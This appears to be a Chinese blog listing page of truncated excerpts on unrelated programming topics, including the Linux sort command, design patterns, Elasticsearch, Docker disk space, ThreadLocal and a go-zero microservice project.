文章目录前言一. sort命令介绍二. 语法格式及常用选项三. 参考案例3.1 按照文本默认排序3.2 忽略相同的行3.3 按数字大小进行排序3.4 检查文件是否已经按照顺序排序3.5 将第3列按照数字大小进行排序3.6 将排序结果输出到文件四. 探讨 -k的高级用法总结前言 大家好&#xff0c;…

python设计模式-享元设计模式,抽象工厂设计模式,面向对象设计模式

享元设计模式 享元(flyweight)设计模式属于结构设计模式类别。 它提供了一种减少对象数的方法。 它包含各种有助于改进应用程序结构的功能。享元对象最重要的特性是不可变的。 这意味着一旦构建就不能修改它们。 该模式使用HashMap来存储引用对象 如何实现享元(flyweight)设计…

【个人作品】非侵入式智能开关

一、产品简介 一款可以通过网络实现语音、APP、小程序控制&#xff0c;实现模拟手动操作各种开关的非侵入式智能开关作品。 非侵入式&#xff0c;指的是不需要对现有的电路和开关做任何改动&#xff0c;只需要将此设备使用魔术无痕胶带固定在旁边即可。 以下为 ABS 材质的渲…

你知道 BI 是什么吗?关于 BI 系统的概述

BI 作为信息化建设中的关键一环&#xff0c;在企业中通常起到承上启下的作用&#xff0c;下能连接打通企业业务系统数据库&#xff0c;将各部门数据分类分级统一储存到数据仓库&#xff0c;简化存储取数流程&#xff0c;减少人力、时间成本&#xff1b;上能提供数据可视化报表…

Elasticsearch安装IK分词器、配置自定义分词词库

一、分词简介 在Elasticsearch中&#xff0c;假设搜索条件是“华为手机平板电脑”&#xff0c;要求是只要满足了其中任意一个词语组合的数据都要查询出来。借助 Elasticseach 的文本分析功能可以轻松将搜索条件进行分词处理&#xff0c;再结合倒排索引实现快速检索。Elasticse…

你是什么时候从轻视到高看软件测试的?

刚开始学软件测试很轻视&#xff0c;因为我那时很无知&#xff0c;这也是那时绝大多数人员的心态&#xff0c;那时中国最讲究“编程才是硬道理”。 如今却非常热爱软件测试&#xff0c;包括软件测试工具&#xff0c;方法&#xff0c;理论&#xff0c;技术。因为我在3年的测试工…

NLP学习——信息抽取

信息抽取 自动从半结构或无结构的文本中抽取出结构化信息的任务。常见的信息抽取任务有三类&#xff1a;实体抽取、关系抽取、事件抽取。 1、实体抽取 从一段文本中抽取出文本内容并识别为预定义的类别。 实体抽取任务中的复杂问题&#xff1a; 重复嵌套&#xff0c;原文中…

虚拟机磁盘重新分区增加Docker磁盘空间

目录一、简介二、重新分区 挂载目录2.1 增加虚拟机硬盘空间2.2 重新分区2.3 格式化新分区2.4 挂载docker目录三、重新拉取一、简介 今天在使用docker pull 拉取镜像时&#xff0c;报了no such file or directory的信息&#xff0c;原来是Docker的磁盘空间满了 #查看Docker Roo…

跳跃游戏 II 解析

题目描述给定一个长度为 n 的 0 索引整数数组 nums。初始位置为 nums[0]。每个元素 nums[i] 表示从索引 i 向前跳转的最大长度。换句话说&#xff0c;如果你在 nums[i] 处&#xff0c;你可以跳转到任意 nums[i j] 处:0 < j < nums[i] i j < n返回到达 nums[n - 1] 的…

推荐一个前后端分离.NetCore+Angular快速开发框架

更多开源项目请查看&#xff1a;一个专注推荐.Net开源项目的榜单 今天给大家推荐一个开源项目&#xff0c;基于.NetCore开发的、前后端分离、前端有Vue、Angular、MVC多个版本的快速开发框架。 项目简介 这是一个基于.NetCore开发的快速开发框架&#xff0c;项目采用模块化架…

go语言实现的一个基于go-zero框架的微服务影院票务系统cinema-ticket

一个基于go-zero框架的微服务影院票务系统cinema-ticket 前言 项目基本介绍 项目开源地址&#xff1a;butane123/cinema-ticket: 一个基于go-zero框架的微服务影院票务系统cinema-ticket (github.com) 这是一个微服务影院票务系统&#xff0c;基于go-zero框架实现&#xff0c…

Monkey

文章目录一、简介二、原理2.1 特殊处理三、命令3.1 启动3.2 关闭四、事件4.1 触摸事件4.2 手势事件4.3 二指缩放事件4.4 轨迹事件4.5 屏幕旋转事件4.6 基本导航事件4.7 主要导航事件4.8 系统按键事件4.9 启动activity事件4.10 键盘事件4.11 其他类型事件五、参数5.1 常规类参数…

ThreadLocal原理、内存泄漏的验证

文章目录前言正文1、ThreadLocal 的常见使用场景2、从ThreadLocal的源码开始2.1 ThreadLocalMap2.2 ThreadLocalMap的 set 方法2.3 ThreadLocalMap的 remove 方法2.4 ThreadLocal 的 set 方法2.5 ThreadLocal 的 remove 方法3、内存泄漏3.1 内存泄漏的概念3.2 为什么说entry的k…

《唐诗三百首》数据源网络下载

2023年的 元宵之夜&#xff0c;这场以“长安”为主题的音乐会火了&#xff01;在抖音&#xff0c;超过2300万人次观看了直播&#xff0c;在线同赏唐诗与交响乐的融合。许多网友惊呼&#xff0c;上学时那些害怕背诵的诗句&#xff0c;原来还可以有这么美的表达这场近80分钟的音乐…